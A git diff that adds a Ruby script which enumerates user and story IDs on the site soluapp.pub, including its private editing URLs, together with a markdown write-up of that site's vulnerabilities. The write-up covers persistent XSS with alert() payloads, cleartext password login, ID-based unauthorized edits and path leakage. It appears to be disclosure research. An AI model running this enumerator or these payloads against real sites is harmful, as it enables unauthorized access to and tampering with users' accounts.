diff --git a/solu/soluapp-enumerator.rb b/solu/soluapp-enumerator.rb
new file mode 100644
index 0000000..0302bb7
--- /dev/null
+++ b/solu/soluapp-enumerator.rb
@@ -0,0 +1,160 @@
+#!/usr/bin/env ruby
+## soluapp-enumerator.rb - enumerates soluapp.pub IDs for users and stories
+
+require 'digest'
+require 'net/http'
+require 'uri'
+
+module Soluapp
+
+  URL_TEMPLATES = {
+    :one => {
+      :legacy_chapter => 'http://soluapp.pub/legacy-chapter.php?id=%i',
+      :story_slide    => 'http://soluapp.pub/story_slide.php?userid=%i&key=0&ty=',
+    },
+    :two => {
+      :last_story   => 'http://soluapp.pub/legacy/last_story1.php?userid=%i&id=%i&img=bg_image7.png&key=0&ty=&chapkey=0',
+      :write_legacy => 'http://soluapp.pub/legacy/write_legacy.php?id=%i&img=&key=&chapkey=&ty=&user=%i',
+    },
+    :buckle_my_shoe => {},
+  }
+
+  class Utility
+
+    def self.get_url_one(type, id)
+      sprintf(URL_TEMPLATES[:one][type], id)
+    end
+
+    def self.get_url_two(type, id1, id2)
+      sprintf(URL_TEMPLATES[:two][type], id1, id2)
+    end
+
+    def self.get_url(url)
+      uri      = URI.parse(url)
+      http     = Net::HTTP.new(uri.host, uri.port)
+      http.use_ssl = false
+      request  = Net::HTTP::Get.new(uri.request_uri)
+      response = http.request(request)
+
+      if response.code.eql?('301')
+        return self.get_url(response.header['location'])
+      end
+
+      response
+    end
+
+  end
+
+  class Response
+
+    attr_reader :url, :response, :hash, :size, :success
+
+    def initialize(url, response)
+      @url      = url
+      @response = response
+      @success  = ! response.code.match(/4.*/)
+
+      @hash     = Digest::MD5.hexdigest(response.body)
+      @size     = response.body.length
+    end
+  end
+
+  class Application
+    attr_reader :type, :ceiling, :floor, :responses
+
+    def initialize(type, ceiling = 10_000, floor = 0)
+      @type      = type.to_sym
+      @ceiling   = ceiling
+      @floor     = floor
+      @responses = Array.new
+
+      raise StandardError.new(sprintf('invalid type[%s] specified', type)) unless URL_TEMPLATES[:one].has_key?(type) or URL_TEMPLATES[:two].has_key?(type)
+    end
+
+    def inspect
+      candidate = {
+        :type    => @type,
+        :ceiling => @ceiling,
+        :floor   => @floor,
+      }
+
+      candidate.delete(:floor) if @floor.eql?(0)
+      candidate
+    end
+
+    def to_s
+      self.inspect.to_s
+    end
+
+    def request!
+
+      return request_url_one if URL_TEMPLATES[:one].has_key?(@type)
+      return request_url_two if URL_TEMPLATES[:two].has_key?(@type)
+
+    end
+
+    def request_url_one
+
+      @floor.upto(@ceiling) do |i|
+        url         = Soluapp::Utility.get_url_one(@type, i)
+        response    = Soluapp::Utility.get_url(url)
+        @responses << Soluapp::Response.new(url, response)
+      end
+
+    end
+
+    def request_url_two
+
+      @floor.upto(@ceiling) do |i|
+        @floor.upto(@ceiling) do |j|
+          url         = Soluapp::Utility.get_url_two(@type, i, j)
+          response    = Soluapp::Utility.get_url(url)
+          @responses << Soluapp::Response.new(url, response)
+        end
+      end
+
+    end
+
+    def summarize
+      successes = @responses.select { |r| r.success.eql?(true) }
+      failures  = @responses - successes
+
+      puts sprintf('total responses[%i]', @responses.size)
+      puts sprintf('  successful responses[%i]', successes.size)
+      puts sprintf('  failed responses    [%i]', failures.size)
+
+      sizes = Hash.new(0)
+      successes.each do |s|
+        sizes[s.size] += 1
+      end
+
+      puts sprintf('size distribution[%s]', sizes)
+
+      md5s = Hash.new('')
+      successes.each do |s|
+        md5s[s.hash] += 1
+      end
+
+      puts sprintf('hash distribution[%s]', md5s)
+    end
+
+  end
+
+end
+
+ceiling = 10
+floor   = 0
+
+[
+  :legacy_chapter,
+  :story_slide,
+  :last_story,
+  :write_legacy,
+].each do |type|
+  app = Soluapp::Application.new(type, ceiling, floor)
+
+  app.request!
+
+  app.summarize
+
+end
\ No newline at end of file
diff --git a/solu/soluapp.pub.md b/solu/soluapp.pub.md
new file mode 100644
index 0000000..486a073
--- /dev/null
+++ b/solu/soluapp.pub.md
@@ -0,0 +1,77 @@
+# solu.pub vulnerabilities
+
+## intro
+
+  * [persistent XSS](#XSS)
+  * [HTTP passing passwords in clear](#cleartext-passwords)
+  * [incremental IDs for users and posts](#incremental-ids)
+  * [last_story1.php vs. last_story.php](#last_story.php)
+  * [creating stories with free account](#free-account-story-creation)
+
+## XSS
+
+on http://soluapp.pub/legacy/legacy-chapter1.php, both are persistent:
+
+  * Legacy Title
+  * Chapter Title (is run 2x per page load)
+
+POC input value: `"><script>alert('foo')</script>`
+
+given the basic nature of this string, imagining that many of the other input fields are similarly vulnerable,
+and that no XSS mitigation whatsoever is being done.
+
+## HTTP passing cleatext passwords
+
+i couldn't find any resources on this site that were served over SSL, and of particular concern is the email (login page)[http://soluapp.pub/signin2.html], which sends:
+
+```
+POST /php/signin.php HTTP/1.1
+Host: soluapp.pub
+Connection: keep-alive
+Content-Length: 61
+Accept: */*
+Origin: http://soluapp.pub
+X-Requested-With: XMLHttpRequest
+User-Agent: <redacted>
+Referer: http://soluapp.pub/signin2.html
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.8
+Cookie: PHPSESSID=<redacted>; intercom-id-l2bhyx5c=85d1329e-1353-4c01-b4fa-e48e14c6d985; _gat=1; _ga=GA1.2.1803746552.1482791071
+
+&Email_Address=<redacted>&Password=<redacted>
+```
+
+## incremental IDs
+
+## last_story.php
+
+public entrance/landing page URLs:
+  * http://soluapp.pub/legacy-chapter.php?id=2074 -- <user1> (randomly chosen)
+  * http://soluapp.pub/legacy-chapter.php?id=917  -- <user2> (free)
+  * http://soluapp.pub/legacy-chapter.php?id=5288 -- <user3> (paid)
+
+public story URL:
+  * http://soluapp.pub/story_slide.php?userid=196&ty=I%20came%20for%20the%20winter...&key=0
+
+private/editing pages had the following URLs:
+  * http://soluapp.pub/legacy/last_story1.php?userid=882&id=5288&img=bg_image7.png&key=0&ty=&chapkey=0
+  * http://soluapp.pub/legacy/write_legacy.php?id=5288&img=&key=&chapkey=&ty=&user=882
+
+simply by changing the userid (or post id) and using the /legacy/ URLs, even while logged in as my user,
+i am able to make unauthorized changes.
+
+to find more users, one could simply try 0..10_000 as userid values in
+
+## free account story creation
+
+by visiting while signed in with a free account, these allow creation of stories:
+  * http://soluapp.pub/record_next.php
+  * http://soluapp.pub/all_chapter1_alt.php
+
+`http://soluapp.pub/legacy/write_legacy.php?id=&img=&key=&chapkey=&ty=&user=917` leaks path information:
+```
+<b>Fatal error</b>:  Call to a member function fetch_assoc() on a non-object in <b>/home/soluapp/public_html/legacy/write_legacy.php</b> on line <b>620</b><br />
+```
+
+---
+http://soluapp.pub/audio_record.php?story_title=%22%3E%3Cscript%3Ealert%28%27foo%27%29%3C%2Fscript%3E&audio=